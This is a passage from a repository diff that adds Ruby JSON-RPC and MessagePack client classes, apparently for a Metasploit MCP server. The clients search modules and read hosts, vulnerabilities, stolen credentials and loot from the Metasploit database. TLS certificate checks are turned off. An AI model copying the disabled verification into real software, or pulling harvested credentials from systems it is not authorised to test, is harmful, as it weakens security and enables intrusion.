||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,199 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'net/http'
|
||||
require 'json'
|
||||
|
||||
module Msf::MCP
|
||||
module Metasploit
|
||||
# JSON-RPC 2.0 client for Metasploit Framework
|
||||
# Implements bearer token authentication for the Metasploit JSON-RPC API
|
||||
# Endpoint: /api/v1/json-rpc (default port 8081)
|
||||
# See: lib/msf/core/rpc/json/ in Metasploit Framework repository
|
||||
class JsonRpcClient
|
||||
DEFAULT_ENDPOINT = '/api/v1/json-rpc'
|
||||
|
||||
# Initialize JSON-RPC client
|
||||
# @param host [String] Metasploit RPC host
|
||||
# @param port [Integer] Metasploit RPC port
|
||||
# @param endpoint [String] API endpoint path (default: DEFAULT_ENDPOINT)
|
||||
# @param token [String] Bearer authentication token
|
||||
# @param ssl [Boolean] Use SSL (default: true)
|
||||
def initialize(host:, port:, endpoint: DEFAULT_ENDPOINT, token:, ssl: true)
|
||||
@host = host
|
||||
@port = port
|
||||
@endpoint = endpoint
|
||||
@token = token
|
||||
@request_id = 0
|
||||
@http = nil
|
||||
@ssl = ssl
|
||||
end
|
||||
|
||||
# No-op for JSON-RPC: authentication uses a pre-configured bearer token.
|
||||
# This method exists so that JsonRpcClient satisfies the same interface as
|
||||
# MessagePackClient, allowing the Client facade to delegate uniformly.
|
||||
#
|
||||
# @param _user [String] Ignored
|
||||
# @param _password [String] Ignored
|
||||
# @return [String] The existing token
|
||||
def authenticate(_user, _password)
|
||||
@token
|
||||
end
|
||||
|
||||
# Call Metasploit API method using JSON-RPC 2.0 format
|
||||
# @param method [String] API method name
|
||||
# @param args [Array] Arguments to pass to the method (must be an array)
|
||||
# @return [Hash] API response
|
||||
# @raise [AuthenticationError] If token is invalid
|
||||
# @raise [APIError] If API returns error
|
||||
# @raise [ConnectionError] If connection fails
|
||||
# @raise [ArgumentError] If args is not an array
|
||||
def call_api(method, args = [])
|
||||
raise ArgumentError, "args must be an Array, got #{args.class}" unless args.is_a?(Array)
|
||||
|
||||
@request_id += 1
|
||||
|
||||
# Build JSON-RPC 2.0 request as a hash
|
||||
request_body = {
|
||||
jsonrpc: '2.0',
|
||||
method: method,
|
||||
params: args,
|
||||
id: @request_id
|
||||
}
|
||||
|
||||
# Send HTTP request
|
||||
response = send_request(request_body)
|
||||
|
||||
# Check for JSON-RPC error
|
||||
if response['error']
|
||||
error_msg = response['error']['message'] || 'Unknown error'
|
||||
raise APIError, error_msg
|
||||
end
|
||||
|
||||
response['result']
|
||||
end
|
||||
|
||||
# Search for Metasploit modules
|
||||
# @param query [String] Search query
|
||||
# @return [Array<Hash>] Module metadata
|
||||
def search_modules(query)
|
||||
call_api('module.search', [query])
|
||||
end
|
||||
|
||||
# Get module information
|
||||
# @param type [String] Module type ('exploit', 'auxiliary', 'post', etc.)
|
||||
# @param name [String] Module name
|
||||
# @return [Hash] Module information
|
||||
def module_info(type, name)
|
||||
call_api('module.info', [type, name])
|
||||
end
|
||||
|
||||
# Get hosts from database
|
||||
# @param options [Hash] Query options (workspace, limit, offset, etc.)
|
||||
# @return [Hash] Response with 'hosts' array
|
||||
def db_hosts(options = {})
|
||||
call_api('db.hosts', [options])
|
||||
end
|
||||
|
||||
# Get services from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'services' array
|
||||
def db_services(options = {})
|
||||
call_api('db.services', [options])
|
||||
end
|
||||
|
||||
# Get vulnerabilities from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'vulns' array
|
||||
def db_vulns(options = {})
|
||||
call_api('db.vulns', [options])
|
||||
end
|
||||
|
||||
# Get notes from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'notes' array
|
||||
def db_notes(options = {})
|
||||
call_api('db.notes', [options])
|
||||
end
|
||||
|
||||
# Get credentials from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'creds' array
|
||||
def db_creds(options = {})
|
||||
call_api('db.creds', [options])
|
||||
end
|
||||
|
||||
# Get loot from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'loots' array
|
||||
def db_loot(options = {})
|
||||
call_api('db.loots', [options])
|
||||
end
|
||||
|
||||
# Shutdown client
|
||||
def shutdown
|
||||
@http&.finish if @http&.started?
|
||||
@http = nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Send HTTP POST request with JSON-RPC payload
|
||||
# @param request_body [Hash] JSON-RPC request body as a hash
|
||||
# @return [Hash] Parsed response
|
||||
# @raise [ConnectionError] If connection fails
|
||||
# @raise [AuthenticationError] If token is invalid
|
||||
def send_request(request_body)
|
||||
# Create HTTP client if needed
|
||||
unless @http
|
||||
@http = Net::HTTP.new(@host, @port)
|
||||
@http.use_ssl = @ssl
|
||||
@http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @ssl
|
||||
end
|
||||
|
||||
# Create POST request
|
||||
request = Net::HTTP::Post.new(@endpoint)
|
||||
request['Content-Type'] = 'application/json'
|
||||
request['Authorization'] = "Bearer #{@token}"
|
||||
request.body = request_body.to_json
|
||||
|
||||
dlog({
|
||||
message: 'JSON-RPC request',
|
||||
context: { method: request.method, endpoint: @endpoint, body: request_body }
|
||||
}, LOG_SOURCE, LOG_DEBUG)
|
||||
|
||||
# Send request and parse response
|
||||
begin
|
||||
response = @http.request(request)
|
||||
|
||||
parsed = case response.code.to_i
|
||||
when 200
|
||||
JSON.parse(response.body)
|
||||
when 401
|
||||
raise AuthenticationError, 'Invalid authentication token'
|
||||
when 500
|
||||
error_data = JSON.parse(response.body) rescue { 'error' => { 'message' => 'Internal server error' } }
|
||||
error_msg = error_data.dig('error', 'message') || 'Internal server error'
|
||||
raise APIError, error_msg
|
||||
else
|
||||
raise ConnectionError, "HTTP #{response.code}: #{response.message}"
|
||||
end
|
||||
|
||||
dlog({
|
||||
message: 'JSON-RPC response',
|
||||
context: { status: response.code, body: parsed }
|
||||
}, LOG_SOURCE, LOG_DEBUG)
|
||||
|
||||
parsed
|
||||
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
|
||||
raise ConnectionError, "Cannot connect to Metasploit RPC: #{e.message}"
|
||||
rescue SocketError => e
|
||||
raise ConnectionError, "Network error: #{e.message}"
|
||||
rescue Timeout::Error => e
|
||||
raise ConnectionError, "Request timeout: #{e.message}"
|
||||
rescue EOFError => e
|
||||
raise ConnectionError, "Empty response from Metasploit RPC: #{e.message}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,262 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'net/http'
|
||||
require 'msgpack'
|
||||
|
||||
module Msf::MCP
|
||||
module Metasploit
|
||||
# MessagePack RPC client for Metasploit Framework
|
||||
# Implements authentication and API calls using MessagePack serialization
|
||||
class MessagePackClient
|
||||
DEFAULT_ENDPOINT = '/api/'
|
||||
|
||||
# Initialize MessagePack client
|
||||
# @param host [String] Metasploit RPC host
|
||||
# @param port [Integer] Metasploit RPC port
|
||||
# @param endpoint [String] API endpoint path (default: DEFAULT_ENDPOINT)
|
||||
# @param ssl [Boolean] Use SSL (default: true)
|
||||
def initialize(host:, port:, endpoint: DEFAULT_ENDPOINT, ssl: true)
|
||||
@host = host
|
||||
@port = port
|
||||
@endpoint = endpoint
|
||||
@token = nil
|
||||
@http = nil
|
||||
@user = nil
|
||||
@password = nil
|
||||
@retry_count = 0
|
||||
@max_retries = 2
|
||||
@ssl = ssl
|
||||
end
|
||||
|
||||
# Authenticate with Metasploit RPC
|
||||
# @param user [String] Username
|
||||
# @param password [String] Password
|
||||
# @return [String] The resulting token if authentication successful
|
||||
# @raise [AuthenticationError] If authentication fails
|
||||
def authenticate(user, password)
|
||||
# Store credentials for automatic re-authentication
|
||||
@user = user
|
||||
@password = password
|
||||
|
||||
# Send authentication request directly (bypass retry logic)
|
||||
request_array = ['auth.login', user, password]
|
||||
response = send_request(request_array)
|
||||
|
||||
# Real Metasploit API returns string keys
|
||||
if response['result'] == 'success' && response['token']
|
||||
@token = response['token']
|
||||
elsif response['error']
|
||||
raise AuthenticationError, response['error']
|
||||
else
|
||||
raise AuthenticationError, 'Authentication failed'
|
||||
end
|
||||
end
|
||||
|
||||
# Call Metasploit RPC API method
|
||||
# @param method [String] API method name (e.g., 'module.search')
|
||||
# @param args [Array] Arguments to pass to the method (must be an array)
|
||||
# @return [Hash, Array] API response
|
||||
# @raise [AuthenticationError] If authentication fails
|
||||
# @raise [APIError] If API returns an error
|
||||
# @raise [ConnectionError] If connection fails
|
||||
# @raise [ArgumentError] If args is not an array
|
||||
def call_api(method, args = [])
|
||||
raise ArgumentError, "args must be an Array, got #{args.class}" unless args.is_a?(Array)
|
||||
|
||||
begin
|
||||
raise AuthenticationError, 'Not authenticated' unless @token
|
||||
|
||||
# Build request array: [method, token, *args]
|
||||
request_array = [method, @token, *args]
|
||||
|
||||
# Send HTTP request
|
||||
send_request(request_array)
|
||||
|
||||
rescue AuthenticationError => e
|
||||
# It is not possible to reauthenticate if we don't have credentials stored
|
||||
raise unless @user && @password
|
||||
# If reauthentication succeeded but the token is still invalid, we should not retry indefinitely
|
||||
raise unless @retry_count < @max_retries
|
||||
|
||||
@retry_count += 1
|
||||
@token = nil
|
||||
|
||||
begin
|
||||
wlog({ message: "#{method}': #{e.message}. Attempting to re-authenticate (#{@retry_count}/#{@max_retries})" },
|
||||
LOG_SOURCE, LOG_WARN)
|
||||
authenticate(@user, @password)
|
||||
rescue AuthenticationError => auth_e
|
||||
wlog({ message: "Re-authentication failed: #{auth_e.message}" },
|
||||
LOG_SOURCE, LOG_WARN)
|
||||
if @retry_count < @max_retries
|
||||
@retry_count += 1
|
||||
@token = nil
|
||||
retry
|
||||
end
|
||||
raise AuthenticationError, "Unable to authenticate after #{@retry_count} attempts: #{auth_e.message}"
|
||||
end
|
||||
|
||||
# Retry the original request with new token
|
||||
retry
|
||||
end
|
||||
|
||||
rescue Msf::MCP::Error => e
|
||||
elog({ message: 'MessagePack API call error', context: { error: e.message } },
|
||||
LOG_SOURCE, LOG_ERROR)
|
||||
raise
|
||||
ensure
|
||||
@retry_count = 0
|
||||
end
|
||||
|
||||
# Search for Metasploit modules
|
||||
# @param query [String] Search query
|
||||
# @return [Array<Hash>] Module metadata
|
||||
def search_modules(query)
|
||||
call_api('module.search', [query])
|
||||
end
|
||||
|
||||
# Get module information
|
||||
# @param type [String] Module type ('exploit', 'auxiliary', 'post', etc.)
|
||||
# @param name [String] Module name
|
||||
# @return [Hash] Module information
|
||||
def module_info(type, name)
|
||||
call_api('module.info', [type, name])
|
||||
end
|
||||
|
||||
# Get hosts from database
|
||||
# @param options [Hash] Query options (workspace, limit, offset, etc.)
|
||||
# @return [Hash] Response with 'hosts' array
|
||||
def db_hosts(options = {})
|
||||
call_api('db.hosts', [options])
|
||||
end
|
||||
|
||||
# Get services from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'services' array
|
||||
def db_services(options = {})
|
||||
call_api('db.services', [options])
|
||||
end
|
||||
|
||||
# Get vulnerabilities from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'vulns' array
|
||||
def db_vulns(options = {})
|
||||
call_api('db.vulns', [options])
|
||||
end
|
||||
|
||||
# Get notes from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'notes' array
|
||||
def db_notes(options = {})
|
||||
call_api('db.notes', [options])
|
||||
end
|
||||
|
||||
# Get credentials from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'creds' array
|
||||
def db_creds(options = {})
|
||||
call_api('db.creds', [options])
|
||||
end
|
||||
|
||||
# Get loot from database
|
||||
# @param options [Hash] Query options
|
||||
# @return [Hash] Response with 'loots' array
|
||||
def db_loot(options = {})
|
||||
call_api('db.loots', [options])
|
||||
end
|
||||
|
||||
# Shutdown client and cleanup
|
||||
def shutdown
|
||||
@token = nil
|
||||
@user = nil
|
||||
@password = nil
|
||||
@http&.finish if @http&.started?
|
||||
@http = nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Send HTTP POST request with MessagePack payload
|
||||
# @param request_array [Array] Request data
|
||||
# @return [Hash, Array] Parsed response
|
||||
# @raise [AuthenticationError] If the token is not valid
|
||||
# @raise [APIError] If the Metasploit API returns an error
|
||||
# @raise [ConnectionError] If connection fails
|
||||
def send_request(request_array)
|
||||
# Create HTTP client if needed
|
||||
unless @http
|
||||
@http = Net::HTTP.new(@host, @port)
|
||||
@http.use_ssl = @ssl
|
||||
@http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @ssl
|
||||
end
|
||||
|
||||
# Encode request with MessagePack
|
||||
request_body = request_array.to_msgpack
|
||||
|
||||
# Create POST request
|
||||
request = Net::HTTP::Post.new(@endpoint)
|
||||
request['Content-Type'] = 'binary/message-pack'
|
||||
request.body = request_body
|
||||
|
||||
dlog({
|
||||
message: 'MessagePack request',
|
||||
context: { method: request.method, endpoint: @endpoint, body: sanitize_request_array(request_array) }
|
||||
}, LOG_SOURCE, LOG_DEBUG)
|
||||
|
||||
# Send request and parse response
|
||||
begin
|
||||
response = @http.request(request)
|
||||
|
||||
parsed = case response.code.to_i
|
||||
when 200
|
||||
MessagePack.unpack(response.body)
|
||||
when 401
|
||||
error_data = MessagePack.unpack(response.body) rescue { 'error_message' => 'Authentication error' }
|
||||
error_msg = error_data['error_message'] || error_data['error_string'] || 'Authentication error'
|
||||
raise AuthenticationError, error_msg
|
||||
when 500
|
||||
error_data = MessagePack.unpack(response.body) rescue { 'error_message' => 'Internal server error' }
|
||||
error_msg = error_data['error_message'] || error_data['error_string'] || 'Internal server error'
|
||||
raise APIError, error_msg
|
||||
else
|
||||
raise ConnectionError, "HTTP #{response.code}: #{response.message}"
|
||||
end
|
||||
|
||||
dlog({
|
||||
message: 'MessagePack response',
|
||||
context: { status: response.code, body: parsed }
|
||||
}, LOG_SOURCE, LOG_DEBUG)
|
||||
|
||||
parsed
|
||||
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
|
||||
raise ConnectionError, "Cannot connect to Metasploit RPC: #{e.message}"
|
||||
rescue SocketError => e
|
||||
raise ConnectionError, "Network error: #{e.message}"
|
||||
rescue Timeout::Error => e
|
||||
raise ConnectionError, "Request timeout: #{e.message}"
|
||||
rescue EOFError => e
|
||||
raise ConnectionError, "Empty response from Metasploit RPC: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
REDACTED = '[REDACTED]'
|
||||
|
||||
# Sanitize request array for logging by redacting sensitive positional values
|
||||
#
|
||||
# For auth.login requests: redacts the password (last element)
|
||||
# For API calls: redacts the token (second element)
|
||||
#
|
||||
# @param request_array [Array] Raw request array
|
||||
# @return [Array] Sanitized copy with sensitive values redacted
|
||||
def sanitize_request_array(request_array)
|
||||
sanitized = request_array.dup
|
||||
if sanitized[0] == 'auth.login'
|
||||
sanitized[-1] = REDACTED
|
||||
elsif sanitized.length > 1
|
||||
sanitized[1] = REDACTED
|
||||
end
|
||||
sanitized
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user